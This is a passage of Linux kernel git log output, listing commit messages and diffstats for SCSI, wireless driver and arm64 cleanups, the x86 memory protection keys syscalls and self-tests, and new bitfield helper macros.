scsi_scan_host() call performed after 'login succeeded' interrupt could portentially return error and the devices may not be scanned properly. To avoid this problem, scsi_scan_host() should be called only after the 'login succeeded' interrupt. Signed-off-by: Uma Krishnan Acked-by: Matthew R. Ochs Signed-off-by: Martin K. Petersen drivers/scsi/cxlflash/main.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6c46301fc5f8e6f230b9bc92a0eca3bc568918a3 Author: Wei Yongjun Date: Thu Sep 8 15:04:41 2016 +0000 scsi: ibmvfc: fix typo in parameter description Fix typo in parameter description. Signed-off-by: Wei Yongjun Reviewed-by: Tyrel Datwyler Signed-off-by: Martin K. Petersen drivers/scsi/ibmvscsi/ibmvfc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 75696fe704774039e0e2ca65be24d79739ed206d Author: Amitkumar Karwar Date: Fri Jul 29 16:08:51 2016 +0530 mwifiex: PCIe8997 chip specific handling The patch corrects the revision id register and uses it along with magic value and chip version registers to download appropriate firmware image. PCIe8997 Z chipset variant code has been removed, as it won't be used in production. Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/pcie.c | 35 ++++++++++------------------- drivers/net/wireless/marvell/mwifiex/pcie.h | 14 +++++------- 2 files changed, 18 insertions(+), 31 deletions(-) commit 73615428c7e1289d493578a7c83959e39e9023e5 Author: Kiwoong Kim Date: Thu Sep 8 16:50:02 2016 +0900 scsi: ufs: Fix a wrong string in power mode change I modified a string as described in UFS spec as follow: umpcrs -> upmcrs. [mkp: applied by hand] Signed-off-by: Kiwoong Kim Signed-off-by: Martin K. Petersen drivers/scsi/ufs/ufshcd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3f7d67da2f3a2770a817d87c25c7cb9f0c09a671 Author: Baoyou Xie Date: Sun Sep 4 14:52:21 2016 +0800 scsi: bnx2fc: Mark symbols static where possible We get a few warnings when building kernel with W=1: drivers/scsi/bnx2fc/bnx2fc_els.c:257:6: warning: no previous prototype for 'bnx2fc_srr_compl' [-Wmissing-prototypes] drivers/scsi/bnx2fc/bnx2fc_els.c:367:6: warning: no previous prototype for 'bnx2fc_rec_compl' [-Wmissing-prototypes] drivers/scsi/bnx2fc/bnx2fc_fcoe.c:628:5: warning: no previous prototype for 'bnx2fc_percpu_io_thread' [-Wmissing-prototypes] drivers/scsi/bnx2fc/bnx2fc_fcoe.c:1413:26: warning: no previous prototype for 'bnx2fc_interface_create' [-Wmissing-prototypes] drivers/scsi/bnx2fc/bnx2fc_hwi.c:997:21: warning: no previous prototype for 'bnx2fc_alloc_work' [-Wmissing-prototypes] drivers/scsi/bnx2fc/bnx2fc_io.c:1082:5: warning: no previous prototype for 'bnx2fc_abts_cleanup' [-Wmissing-prototypes] .... In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. so this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Acked-by: Arnd Bergmann Acked-by: Chad Dupuis Signed-off-by: Martin K. Petersen drivers/scsi/bnx2fc/bnx2fc_els.c | 4 ++-- drivers/scsi/bnx2fc/bnx2fc_fcoe.c | 9 +++++---- drivers/scsi/bnx2fc/bnx2fc_hwi.c | 2 +- drivers/scsi/bnx2fc/bnx2fc_io.c | 2 +- 4 files changed, 9 insertions(+), 8 deletions(-) commit a44199eee7fdd2791b39da88938e6de6f5058632 Author: Baoyou Xie Date: Sun Sep 4 14:47:10 2016 +0800 scsi: aacraid: mark aac_src_select_comm() static We get 1 warning when building kernel with W=1: drivers/scsi/aacraid/src.c:616:5: warning: no previous prototype for 'aac_src_select_comm' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. so this patch marks this function with 'static'. Signed-off-by: Baoyou Xie Acked-by: Arnd Bergmann Acked-by: Dave Carroll Signed-off-by: Martin K. Petersen drivers/scsi/aacraid/src.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 393c8019e9ce1884f232e2d37761c61796e22095 Author: Christophe JAILLET Date: Sat Sep 3 09:05:48 2016 +0200 scsi: bnx2fc: Simplify code Calling 'list_splice' followed by 'INIT_LIST_HEAD' is equivalent to 'list_splice_init'. This has been spotted with the following coccinelle script: ///// @@ expression y,z; @@ - list_splice(y,z); - INIT_LIST_HEAD(y); + list_splice_init(y,z); Signed-off-by: Christophe JAILLET Acked-by: Chad Dupuis Signed-off-by: Martin K. Petersen drivers/scsi/bnx2fc/bnx2fc_fcoe.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 5f23f6d082a95237387f18d3fde8d472aae9659a Author: Dave Hansen Date: Fri Jul 29 09:30:24 2016 -0700 x86/pkeys: Add self-tests This code should be a good demonstration of how to use the new system calls as well as how to use protection keys in general. This code shows how to: 1. Manipulate the Protection Keys Rights User (PKRU) register 2. Set a protection key on memory 3. Fetch and/or modify PKRU from the signal XSAVE state 4. Read the kernel-provided protection key in the siginfo 5. Set up an execute-only mapping There are currently 13 tests: test_read_of_write_disabled_region test_read_of_access_disabled_region test_write_of_write_disabled_region test_write_of_access_disabled_region test_kernel_write_of_access_disabled_region test_kernel_write_of_write_disabled_region test_kernel_gup_of_access_disabled_region test_kernel_gup_write_to_write_disabled_region test_executing_on_unreadable_memory test_ptrace_of_child test_pkey_syscalls_on_non_allocated_pkey test_pkey_syscalls_bad_args test_pkey_alloc_exhaust Each of the tests is run with plain memory (via mmap(MAP_ANON)), transparent huge pages, and hugetlb. Signed-off-by: Dave Hansen Cc: linux-arch@vger.kernel.org Cc: Dave Hansen Cc: mgorman@techsingularity.net Cc: arnd@arndb.de Cc: linux-api@vger.kernel.org Cc: shuahkh@osg.samsung.com Cc: linux-mm@kvack.org Cc: luto@kernel.org Cc: akpm@linux-foundation.org Cc: torvalds@linux-foundation.org Link: http://lkml.kernel.org/r/20160729163024.FC5A0C2D@viggo.jf.intel.com Signed-off-by: Thomas Gleixner tools/testing/selftests/x86/Makefile | 3 +- tools/testing/selftests/x86/pkey-helpers.h | 219 ++++ tools/testing/selftests/x86/protection_keys.c | 1410 +++++++++++++++++++++++++ 3 files changed, 1631 insertions(+), 1 deletion(-) commit 76de993727d22eb29c716abacfae9d9444bb7897 Author: Dave Hansen Date: Fri Jul 29 09:30:23 2016 -0700 x86/pkeys: Allow configuration of init_pkru As discussed in the previous patch, there is a reliability benefit to allowing an init value for the Protection Keys Rights User register (PKRU) which differs from what the XSAVE hardware provides. But, having PKRU be 0 (its init value) provides some nonzero amount of optimization potential to the hardware. It can, for instance, skip writes to the XSAVE buffer when it knows that PKRU is in its init state. The cost of losing this optimization is approximately 100 cycles per context switch for a workload which lightly using XSAVE state (something not using AVX much). The overhead comes from a combinaation of actually manipulating PKRU and the overhead of pullin in an extra cacheline. This overhead is not huge, but it's also not something that I think we should unconditionally inflict on everyone. So, make it configurable both at boot-time and from debugfs. Changes to the debugfs value affect all processes created after the write to debugfs. Signed-off-by: Dave Hansen Cc: linux-arch@vger.kernel.org Cc: Dave Hansen Cc: mgorman@techsingularity.net Cc: arnd@arndb.de Cc: linux-api@vger.kernel.org Cc: linux-mm@kvack.org Cc: luto@kernel.org Cc: akpm@linux-foundation.org Cc: torvalds@linux-foundation.org Link: http://lkml.kernel.org/r/20160729163023.407672D2@viggo.jf.intel.com Signed-off-by: Thomas Gleixner arch/x86/mm/pkeys.c | 66 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) commit acd547b29880800d29222c4632d2c145e401988c Author: Dave Hansen Date: Fri Jul 29 09:30:21 2016 -0700 x86/pkeys: Default to a restrictive init PKRU PKRU is the register that lets you disallow writes or all access to a given protection key. The XSAVE hardware defines an "init state" of 0 for PKRU: its most permissive state, allowing access/writes to everything. Since we start off all new processes with the init state, we start all processes off with the most permissive possible PKRU. This is unfortunate. If a thread is clone()'d [1] before a program has time to set PKRU to a restrictive value, that thread will be able to write to all data, no matter what pkey is set on it. This weakens any integrity guarantees that we want pkeys to provide. To fix this, we define a very restrictive PKRU to override the XSAVE-provided value when we create a new FPU context. We choose a value that only allows access to pkey 0, which is as restrictive as we can practically make it. This does not cause any practical problems with applications using protection keys because we require them to specify initial permissions for each key when it is allocated, which override the restrictive default. In the end, this ensures that threads which do not know how to manage their own pkey rights can not do damage to data which is pkey-protected. I would have thought this was a pretty contrived scenario, except that I heard a bug report from an MPX user who was creating threads in some very early code before main(). It may be crazy, but folks evidently _do_ it. Signed-off-by: Dave Hansen Cc: linux-arch@vger.kernel.org Cc: Dave Hansen Cc: mgorman@techsingularity.net Cc: arnd@arndb.de Cc: linux-api@vger.kernel.org Cc: linux-mm@kvack.org Cc: luto@kernel.org Cc: akpm@linux-foundation.org Cc: torvalds@linux-foundation.org Link: http://lkml.kernel.org/r/20160729163021.F3C25D4A@viggo.jf.intel.com Signed-off-by: Thomas Gleixner Documentation/kernel-parameters.txt | 5 +++++ arch/x86/include/asm/pkeys.h | 1 + arch/x86/kernel/fpu/core.c | 4 ++++ arch/x86/mm/pkeys.c | 38 +++++++++++++++++++++++++++++++++++++ include/linux/pkeys.h | 4 ++++ 5 files changed, 52 insertions(+) commit c74fe3940848c6afea83bfbda64a9baf9da547c8 Author: Dave Hansen Date: Fri Jul 29 09:30:20 2016 -0700 pkeys: Add details of system call use to Documentation/ This spells out all of the pkey-related system calls that we have and provides some example code fragments to demonstrate how we expect them to be used. Signed-off-by: Dave Hansen Cc: linux-arch@vger.kernel.org Cc: Dave Hansen Cc: mgorman@techsingularity.net Cc: arnd@arndb.de Cc: linux-api@vger.kernel.org Cc: linux-mm@kvack.org Cc: luto@kernel.org Cc: akpm@linux-foundation.org Cc: torvalds@linux-foundation.org Link: http://lkml.kernel.org/r/20160729163020.59350E33@viggo.jf.intel.com Signed-off-by: Thomas Gleixner Documentation/x86/protection-keys.txt | 62 +++++++++++++++++++++++++++++++++++ 1 file changed, 62 insertions(+) commit a60f7b69d92c0142c80a30d669a76b617b7f6879 Author: Dave Hansen Date: Fri Jul 29 09:30:18 2016 -0700 generic syscalls: Wire up memory protection keys syscalls These new syscalls are implemented as generic code, so enable them for architectures like arm64 which use the generic syscall table. According to Arnd: Even if the support is x86 specific for the forseeable future, it may be good to reserve the number just in case. The other architecture specific syscall lists are usually left to the individual arch maintainers, most a lot of the newer architectures share this table. Signed-off-by: Dave Hansen Acked-by: Arnd Bergmann Cc: linux-arch@vger.kernel.org Cc: Dave Hansen Cc: mgorman@techsingularity.net Cc: linux-api@vger.kernel.org Cc: linux-mm@kvack.org Cc: luto@kernel.org Cc: akpm@linux-foundation.org Cc: torvalds@linux-foundation.org Link: http://lkml.kernel.org/r/20160729163018.505A6875@viggo.jf.intel.com Signed-off-by: Thomas Gleixner include/linux/syscalls.h | 8 ++++++++ include/uapi/asm-generic/unistd.h | 12 +++++++++++- 2 files changed, 19 insertions(+), 1 deletion(-) commit f9afc6197e9bba1e2e62e262704f661810cc8bba Author: Dave Hansen Date: Fri Jul 29 09:30:17 2016 -0700 x86: Wire up protection keys system calls This is all that we need to get the new system calls themselves working on x86. Signed-off-by: Dave Hansen Cc: linux-arch@vger.kernel.org Cc: Dave Hansen Cc: mgorman@techsingularity.net Cc: arnd@arndb.de Cc: linux-api@vger.kernel.org Cc: linux-mm@kvack.org Cc: luto@kernel.org Cc: akpm@linux-foundation.org Cc: torvalds@linux-foundation.org Link: http://lkml.kernel.org/r/20160729163017.E3C06FD2@viggo.jf.intel.com Signed-off-by: Thomas Gleixner arch/x86/entry/syscalls/syscall_32.tbl | 5 +++++ arch/x86/entry/syscalls/syscall_64.tbl | 5 +++++ 2 files changed, 10 insertions(+) commit e8c24d3a23a469f1f40d4de24d872ca7023ced0a Author: Dave Hansen Date: Fri Jul 29 09:30:15 2016 -0700 x86/pkeys: Allocation/free syscalls This patch adds two new system calls: int pkey_alloc(unsigned long flags, unsigned long init_access_rights) int pkey_free(int pkey); These implement an "allocator" for the protection keys themselves, which can be thought of as analogous to the allocator that the kernel has for file descriptors. The kernel tracks which numbers are in use, and only allows operations on keys that are valid. A key which was not obtained by pkey_alloc() may not, for instance, be passed to pkey_mprotect(). These system calls are also very important given the kernel's use of pkeys to implement execute-only support. These help ensure that userspace can never assume that it has control of a key unless it first asks the kernel. The kernel does not promise to preserve PKRU (right register) contents except for allocated pkeys. The 'init_access_rights' argument to pkey_alloc() specifies the rights that will be established for the returned pkey. For instance: pkey = pkey_alloc(flags, PKEY_DENY_WRITE); will allocate 'pkey', but also sets the bits in PKRU[1] such that writing to 'pkey' is already denied. The kernel does not prevent pkey_free() from successfully freeing in-use pkeys (those still assigned to a memory range by pkey_mprotect()). It would be expensive to implement the checks for this, so we instead say, "Just don't do it" since sane software will never do it anyway. Any piece of userspace calling pkey_alloc() needs to be prepared for it to fail. Why? pkey_alloc() returns the same error code (ENOSPC) when there are no pkeys and when pkeys are unsupported. They can be unsupported for a whole host of reasons, so apps must be prepared for this. Also, libraries or LD_PRELOADs might steal keys before an application gets access to them. This allocation mechanism could be implemented in userspace. Even if we did it in userspace, we would still need additional user/kernel interfaces to tell userspace which keys are being used by the kernel internally (such as for execute-only mappings). Having the kernel provide this facility completely removes the need for these additional interfaces, or having an implementation of this in userspace at all. Note that we have to make changes to all of the architectures that do not use mman-common.h because we use the new PKEY_DENY_ACCESS/WRITE macros in arch-independent code. 1. PKRU is the Protection Key Rights User register. It is a usermode-accessible register that controls whether writes and/or access to each individual pkey is allowed or denied. Signed-off-by: Dave Hansen Acked-by: Mel Gorman Cc: linux-arch@vger.kernel.org Cc: Dave Hansen Cc: arnd@arndb.de Cc: linux-api@vger.kernel.org Cc: linux-mm@kvack.org Cc: luto@kernel.org Cc: akpm@linux-foundation.org Cc: torvalds@linux-foundation.org Link: http://lkml.kernel.org/r/20160729163015.444FE75F@viggo.jf.intel.com Signed-off-by: Thomas Gleixner arch/alpha/include/uapi/asm/mman.h | 5 +++ arch/mips/include/uapi/asm/mman.h | 5 +++ arch/parisc/include/uapi/asm/mman.h | 5 +++ arch/x86/include/asm/mmu.h | 8 ++++ arch/x86/include/asm/mmu_context.h | 10 ++++- arch/x86/include/asm/pkeys.h | 73 +++++++++++++++++++++++++++++++--- arch/x86/kernel/fpu/xstate.c | 5 ++- arch/x86/mm/pkeys.c | 38 ++++++++++++++---- arch/xtensa/include/uapi/asm/mman.h | 5 +++ include/linux/pkeys.h | 28 ++++++++++--- include/uapi/asm-generic/mman-common.h | 5 +++ mm/mprotect.c | 61 +++++++++++++++++++++++++--- 12 files changed, 221 insertions(+), 27 deletions(-) commit a8502b67d739c1d7a4542c1da0a5d98a6a58c177 Author: Dave Hansen Date: Fri Jul 29 09:30:13 2016 -0700 x86/pkeys: Make mprotect_key() mask off additional vm_flags Today, mprotect() takes 4 bits of data: PROT_READ/WRITE/EXEC/NONE. Three of those bits: READ/WRITE/EXEC get translated directly in to vma->vm_flags by calc_vm_prot_bits(). If a bit is unset in mprotect()'s 'prot' argument then it must be cleared in vma->vm_flags during the mprotect() call. We do this clearing today by first calculating the VMA flags we want set, then clearing the ones we do not want to inherit from the original VMA: vm_flags = calc_vm_prot_bits(prot, key); ... newflags = vm_flags; newflags |= (vma->vm_flags & ~(VM_READ | VM_WRITE | VM_EXEC)); However, we *also* want to mask off the original VMA's vm_flags in which we store the protection key. To do that, this patch adds a new macro: ARCH_VM_PKEY_FLAGS which allows the architecture to specify additional bits that it would like cleared. We use that to ensure that the VM_PKEY_BIT* bits get cleared. Signed-off-by: Dave Hansen Acked-by: Mel Gorman Reviewed-by: Thomas Gleixner Cc: linux-arch@vger.kernel.org Cc: Dave Hansen Cc: arnd@arndb.de Cc: linux-api@vger.kernel.org Cc: linux-mm@kvack.org Cc: luto@kernel.org Cc: akpm@linux-foundation.org Cc: torvalds@linux-foundation.org Link: http://lkml.kernel.org/r/20160729163013.E48D6981@viggo.jf.intel.com Signed-off-by: Thomas Gleixner arch/x86/include/asm/pkeys.h | 2 ++ include/linux/pkeys.h | 1 + mm/mprotect.c | 11 ++++++++++- 3 files changed, 13 insertions(+), 1 deletion(-) commit 7d06d9c9bd813fc956b9c7bffc1b9724009983eb Author: Dave Hansen Date: Fri Jul 29 09:30:12 2016 -0700 mm: Implement new pkey_mprotect() system call pkey_mprotect() is just like mprotect, except it also takes a protection key as an argument. On systems that do not support protection keys, it still works, but requires that key=0. Otherwise it does exactly what mprotect does. I expect it to get used like this, if you want to guarantee that any mapping you create can *never* be accessed without the right protection keys set up. int real_prot = PROT_READ|PROT_WRITE; pkey = pkey_alloc(0, PKEY_DENY_ACCESS); ptr = mmap(NULL, PAGE_SIZE, PROT_NONE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); ret = pkey_mprotect(ptr, PAGE_SIZE, real_prot, pkey); This way, there is *no* window where the mapping is accessible since it was always either PROT_NONE or had a protection key set that denied all access. We settled on 'unsigned long' for the type of the key here. We only need 4 bits on x86 today, but I figured that other architectures might need some more space. Semantically, we have a bit of a problem if we combine this syscall with our previously-introduced execute-only support: What do we do when we mix execute-only pkey use with pkey_mprotect() use? For instance: pkey_mprotect(ptr, PAGE_SIZE, PROT_WRITE, 6); // set pkey=6 mprotect(ptr, PAGE_SIZE, PROT_EXEC); // set pkey=X_ONLY_PKEY? mprotect(ptr, PAGE_SIZE, PROT_WRITE); // is pkey=6 again? To solve that, we make the plain-mprotect()-initiated execute-only support only apply to VMAs that have the default protection key (0) set on them. Proposed semantics: 1. protection key 0 is special and represents the default, "unassigned" protection key. It is always allocated. 2. mprotect() never affects a mapping's pkey_mprotect()-assigned protection key. A protection key of 0 (even if set explicitly) represents an unassigned protection key. 2a. mprotect(PROT_EXEC) on a mapping with an assigned protection key may or may not result in a mapping with execute-only properties. pkey_mprotect() plus pkey_set() on all threads should be used to _guarantee_ execute-only semantics if this is not a strong enough semantic. 3. mprotect(PROT_EXEC) may result in an "execute-only" mapping. The kernel will internally attempt to allocate and dedicate a protection key for the purpose of execute-only mappings. This may not be possible in cases where there are no free protection keys available. It can also happen, of course, in situations where there is no hardware support for protection keys. Signed-off-by: Dave Hansen Acked-by: Mel Gorman Cc: linux-arch@vger.kernel.org Cc: Dave Hansen Cc: arnd@arndb.de Cc: linux-api@vger.kernel.org Cc: linux-mm@kvack.org Cc: luto@kernel.org Cc: akpm@linux-foundation.org Cc: torvalds@linux-foundation.org Link: http://lkml.kernel.org/r/20160729163012.3DDD36C4@viggo.jf.intel.com Signed-off-by: Thomas Gleixner arch/x86/include/asm/mmu_context.h | 15 ++++++++++----- arch/x86/include/asm/pkeys.h | 11 +++++++++-- include/linux/pkeys.h | 12 ------------ mm/mprotect.c | 30 ++++++++++++++++++++++++++---- 4 files changed, 45 insertions(+), 23 deletions(-) commit e8c6226d483cb28f55cab718065ea1b7226d40e8 Author: Dave Hansen Date: Fri Jul 29 09:30:10 2016 -0700 x86/pkeys: Add fault handling for PF_PK page fault bit PF_PK means that a memory access violated the protection key access restrictions. It is unconditionally an access_error() because the permissions set on the VMA don't matter (the PKRU value overrides it), and we never "resolve" PK faults (like how a COW can "resolve write fault). Signed-off-by: Dave Hansen Acked-by: Mel Gorman Cc: linux-arch@vger.kernel.org Cc: Dave Hansen Cc: arnd@arndb.de Cc: linux-api@vger.kernel.org Cc: linux-mm@kvack.org Cc: luto@kernel.org Cc: akpm@linux-foundation.org Cc: torvalds@linux-foundation.org Link: http://lkml.kernel.org/r/20160729163010.DD1FE1ED@viggo.jf.intel.com Signed-off-by: Thomas Gleixner arch/x86/mm/fault.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit d3ea42aad584493b99c109e59ced77db145a68e1 Author: Mark Rutland Date: Thu Sep 8 13:55:39 2016 +0100 arm64: simplify contextidr_thread_switch When CONFIG_PID_IN_CONTEXTIDR is not selected, we use an empty stub definition of contextidr_thread_switch(). As everything we rely upon exists regardless of CONFIG_PID_IN_CONTEXTIDR, we don't strictly require an empty stub. By using IS_ENABLED() rather than ifdeffery, we avoid duplication, and get compiler coverage on all the code even when CONFIG_PID_IN_CONTEXTIDR is not selected and the code is optimised away. Signed-off-by: Mark Rutland Cc: Catalin Marinas Cc: Will Deacon Signed-off-by: Will Deacon arch/arm64/include/asm/mmu_context.h | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) commit adf7589997927b1d84a5d003027b866bbef61ef2 Author: Mark Rutland Date: Thu Sep 8 13:55:38 2016 +0100 arm64: simplify sysreg manipulation A while back we added {read,write}_sysreg accessors to handle accesses to system registers, without the usual boilerplate asm volatile, temporary variable, etc. This patch makes use of these across arm64 to make code shorter and clearer. For sequences with a trailing ISB, the existing isb() macro is also used so that asm blocks can be removed entirely. A few uses of inline assembly for msr/mrs are left as-is. Those manipulating sp_el0 for the current thread_info value have special clobber requiremends. Signed-off-by: Mark Rutland Cc: Catalin Marinas Cc: Will Deacon Signed-off-by: Will Deacon arch/arm64/include/asm/hw_breakpoint.h | 13 +++++++------ arch/arm64/include/asm/mmu_context.h | 27 ++++++++++----------------- arch/arm64/include/asm/pgtable-hwdef.h | 1 + arch/arm64/include/asm/sysreg.h | 20 ++++++++++---------- arch/arm64/include/asm/thread_info.h | 3 +++ arch/arm64/kernel/cacheinfo.c | 8 +++----- arch/arm64/kernel/debug-monitors.c | 8 +++----- arch/arm64/kernel/process.c | 14 ++++++-------- arch/arm64/kernel/sys_compat.c | 2 +- 9 files changed, 44 insertions(+), 52 deletions(-) commit 1f3d8699be82583c713e2a1099c597a740ebaf4d Author: Mark Rutland Date: Thu Sep 8 13:55:37 2016 +0100 arm64/kvm: use {read,write}_sysreg() A while back we added {read,write}_sysreg accessors to handle accesses to system registers, without the usual boilerplate asm volatile, temporary variable, etc. This patch makes use of these in the arm64 KVM code to make the code shorter and clearer. At the same time, a comment style violation next to a system register access is fixed up in reset_pmcr, and comments describing whether operations are reads or writes are removed as this is now painfully obvious. Cc: Catalin Marinas Cc: Marc Zyngier Cc: Will Deacon Acked-by: Christoffer Dall Signed-off-by: Mark Rutland Signed-off-by: Will Deacon arch/arm64/include/asm/virt.h | 6 ++---- arch/arm64/kvm/sys_regs.c | 31 +++++++++++-------------------- arch/arm64/kvm/sys_regs_generic_v8.c | 6 ++---- 3 files changed, 15 insertions(+), 28 deletions(-) commit d0a69d9f388dcd37e9bf2d8d7d4a83b87822ffa1 Author: Mark Rutland Date: Thu Sep 8 13:55:36 2016 +0100 arm64: dcc: simplify accessors A while back we added {read,write}_sysreg accessors to handle accesses to system registers, without the usual boilerplate asm volatile, temporary variable, etc. This patch makes use of these in the arm64 DCC accessors to make the code shorter and clearer. Signed-off-by: Mark Rutland Cc: Catalin Marinas Cc: Will Deacon Signed-off-by: Will Deacon arch/arm64/include/asm/dcc.h | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) commit cd5f22d7967f613c49288256ce95b07eb910e2a9 Author: Mark Rutland Date: Thu Sep 8 13:55:35 2016 +0100 arm64: arch_timer: simplify accessors A while back we added {read,write}_sysreg accessors to handle accesses to system registers, without the usual boilerplate asm volatile, temporary variable, etc. This patch makes use of these in the arm64 arch timer accessors to make the code shorter and clearer. Signed-off-by: Mark Rutland Cc: Catalin Marinas Cc: Marc Zyngier Cc: Will Deacon Signed-off-by: Will Deacon arch/arm64/include/asm/arch_timer.h | 41 +++++++++++++------------------------ 1 file changed, 14 insertions(+), 27 deletions(-) commit 7aff4a2dd3db4e519c636f43aa863078e3b30d0f Author: Mark Rutland Date: Thu Sep 8 13:55:34 2016 +0100 arm64: sysreg: allow write_sysreg to use XZR Currently write_sysreg has to allocate a temporary register to write zero to a system register, which is unfortunate given that the MSR instruction accepts XZR as an operand. Allow XZR to be used when appropriate by fiddling with the assembly constraints. Cc: Catalin Marinas Cc: Marc Zyngier Cc: Suzuki K Poulose Reviewed-by: Robin Murphy Signed-off-by: Mark Rutland Signed-off-by: Will Deacon arch/arm64/include/asm/sysreg.h | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 5387c920372a3aaeb97b8b4721619ca9ff2a82ab Author: Colin Ian King Date: Thu Sep 8 21:09:30 2016 +0100 usb: gadget: remove variable ret and remove unnecessary if statement the if statement in lb_modinit is unnecessary so we can totally remove the variable ret and just return the return value from the call to usb_function_register. Signed-off-by: Colin Ian King Signed-off-by: Felipe Balbi drivers/usb/gadget/function/f_loopback.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit b711657616947e7b4c15f6825d259324216b23f2 Author: Christophe Jaillet Date: Wed Aug 31 13:50:59 2016 +0200 mwifiex: scan: Simplify code This patch: - improves code layout - removes a useless memset(0) for some memory allocated with kzalloc - removes a useless if. We know that 'if (chan_band_tlv)' will succeed because it has been tested a few lines above Signed-off-by: Christophe JAILLET Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/scan.c | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) commit 4c5dae59d2e9386c706a2f3c7c2746ae277bf568 Author: Amitkumar Karwar Date: Tue Jul 26 19:31:44 2016 +0530 mwifiex: add PCIe function level reset support This patch implements pre and post FLR handlers to support PCIe FLR functionality. Software cleanup is performed in pre-FLR whereas firmware is downloaded and software is re-initialised in post-FLR handler. Following command triggers FLR. echo "1" > /sys/bus/pci/devices/$NUMBER/reset This feature can be used as a recovery mechanism when firmware gets hang. Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/main.c | 242 ++++++++++++++++++++++++++-- drivers/net/wireless/marvell/mwifiex/main.h | 3 + drivers/net/wireless/marvell/mwifiex/pcie.c | 136 +++++++++++++++- drivers/net/wireless/marvell/mwifiex/pcie.h | 1 + 4 files changed, 365 insertions(+), 17 deletions(-) commit 5251b6be8bb5c5675bdf12347c7b83937a5c91e5 Author: Arend Van Spriel Date: Mon Sep 5 11:42:13 2016 +0100 brcmfmac: sdio: shorten retry loop in brcmf_sdio_kso_control() In brcmf_sdio_kso_control() there is a retry loop as hardware may take time to settle. However, when the call to brcmf_sdiod_regrb() returns an error it is due to SDIO access failure and it makes no sense to wait for hardware to settle. This patch aborts the loop after a number of subsequent access errors. Reviewed-by: Hante Meuleman Reviewed-by: Pieter-Paul Giesberts Reviewed-by: Franky Lin Signed-off-by: Arend van Spriel Signed-off-by: Kalle Valo drivers/net/wireless/broadcom/brcm80211/brcmfmac/sdio.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit 634faf3686900ccdee87b77e2c56df8b2159912b Author: Arend Van Spriel Date: Mon Sep 5 11:42:12 2016 +0100 brcmfmac: add support for bcm4339 chip with modalias sdio:c00v02D0d4339 The driver already supports the bcm4339 chipset but only for the variant that shares the same modalias as the bcm4335, ie. sdio:c00v02D0d4335. It turns out that there are also bcm4339 devices out there that have a more distiguishable modalias sdio:c00v02D0d4339. Reported-by: Steve deRosier Reviewed-by: Hante Meuleman Reviewed-by: Pieter-Paul Giesberts Reviewed-by: Franky Lin Signed-off-by: Arend van Spriel Signed-off-by: Kalle Valo drivers/net/wireless/broadcom/brcm80211/brcmfmac/bcmsdh.c | 1 + drivers/net/wireless/broadcom/brcm80211/brcmfmac/sdio.c | 3 ++- include/linux/mmc/sdio_ids.h | 1 + 3 files changed, 4 insertions(+), 1 deletion(-) commit d43af50566b43fb4abce42789ba999a7e9dc45bb Author: Jakub Kicinski Date: Wed Aug 31 12:46:47 2016 +0100 mt7601u: use linux/bitfield.h Use the newly added linux/bitfield.h. Signed-off-by: Jakub Kicinski Reviewed-by: Dinan Gunawardena Signed-off-by: Kalle Valo drivers/net/wireless/mediatek/mt7601u/dma.c | 2 +- drivers/net/wireless/mediatek/mt7601u/dma.h | 10 ++-- drivers/net/wireless/mediatek/mt7601u/eeprom.c | 12 ++-- drivers/net/wireless/mediatek/mt7601u/init.c | 10 ++-- drivers/net/wireless/mediatek/mt7601u/mac.c | 38 ++++++------ drivers/net/wireless/mediatek/mt7601u/mcu.c | 20 +++---- drivers/net/wireless/mediatek/mt7601u/mt7601u.h | 4 +- drivers/net/wireless/mediatek/mt7601u/phy.c | 44 +++++++------- drivers/net/wireless/mediatek/mt7601u/tx.c | 19 +++--- drivers/net/wireless/mediatek/mt7601u/util.h | 77 ------------------------- 10 files changed, 81 insertions(+), 155 deletions(-) commit adcc710d0a9e260ae315bc7d31b68c5697f58b43 Author: Jakub Kicinski Date: Wed Aug 31 12:46:46 2016 +0100 mt7601u: remove unnecessary include There is no need to include linux/version.h in a in-tree driver. Signed-off-by: Jakub Kicinski Reviewed-by: Dinan Gunawardena Signed-off-by: Kalle Valo drivers/net/wireless/mediatek/mt7601u/main.c | 1 - 1 file changed, 1 deletion(-) commit faad5433b7227e0091c390c68be9076fe846627f Author: Jakub Kicinski Date: Wed Aug 31 12:46:45 2016 +0100 mt7601u: remove redefinition of GENMASK Remove redefinition of GENMASK which should not be there in the upstream version of the code. Signed-off-by: Jakub Kicinski Reviewed-by: Dinan Gunawardena Signed-off-by: Kalle Valo drivers/net/wireless/mediatek/mt7601u/regs.h | 4 ---- 1 file changed, 4 deletions(-) commit 3e9b3112ec74f192eaab976c3889e34255cae940 Author: Jakub Kicinski Date: Wed Aug 31 12:46:44 2016 +0100 add basic register-field manipulation macros Common approach to accessing register fields is to define structures or sets of macros containing mask and shift pair. Operations on the register are then performed as follows: field = (reg >> shift) & mask; reg &= ~(mask << shift); reg |= (field & mask) << shift; Defining shift and mask separately is tedious. Ivo van Doorn came up with an idea of computing them at compilation time based on a single shifted mask (later refined by Felix) which can be used like this: #define REG_FIELD 0x000ff000 field = FIELD_GET(REG_FIELD, reg); reg &= ~REG_FIELD; reg |= FIELD_PREP(REG_FIELD, field); FIELD_{GET,PREP} macros take care of finding out what the appropriate shift is based on compilation time ffs operation. GENMASK can be used 